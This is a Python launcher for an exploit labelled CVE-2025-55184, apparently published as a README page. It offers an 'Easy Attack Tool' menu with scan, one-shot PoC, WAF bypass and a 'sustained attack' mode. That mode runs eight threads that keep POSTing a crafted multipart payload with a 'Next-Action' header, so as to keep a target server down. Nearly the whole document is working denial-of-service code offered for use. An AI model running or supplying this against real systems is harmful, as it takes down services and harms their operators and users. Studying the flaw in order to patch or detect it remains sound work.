README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2025-55184 Simplified Launcher - Easy Mode
Sustained attack with automatic recovery
Author: CyberTechAjju
"""
import signal
import sys
import os
# Add current directory to path
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from cve_2025_55184_exploit import CVE2025_55184_Exploiter
from modules.ui_manager import UIManager
from modules.utils import Utils
# Global variables for cleanup
running = True
current_exploiter = None
def signal_handler(sig, frame):
"""Handle Ctrl+C gracefully - allows server to recover"""
global running, current_exploiter
print("\n\n")
ui = UIManager()
ui.print_warning("🛑 Stopping attack - Server will recover automatically...")
running = False
# Give server time to recover
import time
time.sleep(2)
ui.print_success("✅ Attack stopped - Target should recover now")
ui.print_info("💡 Server has been released and should be operational")
sys.exit(0)
def simple_menu():
"""Simple interactive menu"""
ui = UIManager()
ui.show_banner()
ui.show_warning()
print()
ui.console.print("[bold bright_cyan]╔════════════════════════════════════════╗[/bold bright_cyan]")
ui.console.print("[bold bright_cyan]║[/bold bright_cyan] 🚀 SIMPLE MODE - Easy Attack Tool [bold bright_cyan]║[/bold bright_cyan]")
ui.console.print("[bold bright_cyan]╚════════════════════════════════════════╝[/bold bright_cyan]")
print()
# Get target
target = ui.prompt_input("🎯 Enter target URL (e.g., http://localhost:3000)")
if not target:
ui.print_error("No target specified!")
return
print()
ui.console.print("[bold yellow]Select Attack Mode:[/bold yellow]")
ui.console.print(" [cyan]1.[/cyan] 🔍 Quick Scan (check if vulnerable)")
ui.console.print(" [cyan]2.[/cyan] 💥 Single Attack (one-shot PoC)")
ui.console.print(" [cyan]3.[/cyan] 🔥 SUSTAINED ATTACK (keeps target down)")
ui.console.print(" [cyan]4.[/cyan] 🛡️ WAF Bypass Test")
ui.console.print(" [cyan]5.[/cyan] 📊 Generate Report")
print()
choice = ui.prompt_input("Choose option (1-5)")
# Map choices to modes
mode_map = {
'1': 'scan',
'2': 'single',
'3': 'sustain', # New sustained mode
'4': 'waf',
'5': 'report'
}
mode = mode_map.get(choice)
if not mode:
ui.print_error("Invalid choice!")
return
# Authorization check
print()
if not ui.get_authorization(target):
ui.print_error("Authorization denied!")
return
# Load config
config = Utils.load_config()
# Create exploiter
global current_exploiter
current_exploiter = CVE2025_55184_Exploiter(target, config)
# Run attack
try:
if mode == 'sustain':
run_sustained_attack(current_exploiter, ui)
else:
current_exploiter.run(mode)
except KeyboardInterrupt:
signal_handler(None, None)
def run_sustained_attack(exploiter, ui):
"""
Sustained attack mode - keeps target down until stopped
Automatically recovers when script is terminated
"""
global running
import threading
import time
import requests
ui.print_error("🔥 SUSTAINED ATTACK MODE ACTIVATED")
ui.print_warning("⚡ Target will stay DOWN while this script runs")
ui.print_info("💡 Press Ctrl+C to stop and allow recovery")
print()
confirm = ui.prompt_input("Type 'ATTACK' to start sustained DoS")
if confirm != 'ATTACK':
ui.print_info("Cancelled")
return
print()
ui.print_success("🚀 Sustained attack started!")
ui.print_info("📊 Live statistics below...")
print()
# Statistics
stats = {
'total': 0,
'timeouts': 0,
'errors': 0,
'running': True
}
# Attack worker function
def attack_worker():
"""Continuous attack worker"""
payload = '"$@0"'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Next-Action': 'x'
}
while running and stats['running']:
try:
requests.post(
exploiter.target,
files={"0": ("", payload)},
headers=headers,
timeout=3
)
stats['total'] += 1
except requests.exceptions.Timeout:
stats['timeouts'] += 1
stats['total'] += 1
except Exception:
stats['errors'] += 1
stats['total'] += 1
# Small delay to prevent resource exhaustion
time.sleep(0.1)
# Start attack threads
num_threads = 8
threads = []
for i in range(num_threads):
t = threading.Thread(target=attack_worker, daemon=True)
t.start()
threads.append(t)
# Live statistics display
try:
start_time = time.time()
while running:
elapsed = int(time.time() - start_time)
# Clear previous lines
print(f"\r[⚡] Requests: {stats['total']:>6} | Timeouts: {stats['timeouts']:>6} | Errors: {stats['errors']:>6} | Time: {elapsed:>4}s | Threads: {num_threads}", end='', flush=True)
time.sleep(0.5)
except KeyboardInterrupt:
pass
finally:
stats['running'] = False
print("\n")
ui.print_info("Stopping attack threads...")
time.sleep(1)
ui.print_success(f"✅ Total requests sent: {stats['total']}")
ui.print_info("💡 Server should recover in 5-10 seconds")
def main():
"""Main entry point"""
# Setup signal handler for graceful shutdown
signal.signal(signal.SIGINT, signal_handler)
try:
simple_menu()
except Exception as e:
ui = UIManager()
ui.print_error(f"Error: {str(e)}")
sys.exit(1)
if __name__ == "__main__":
main()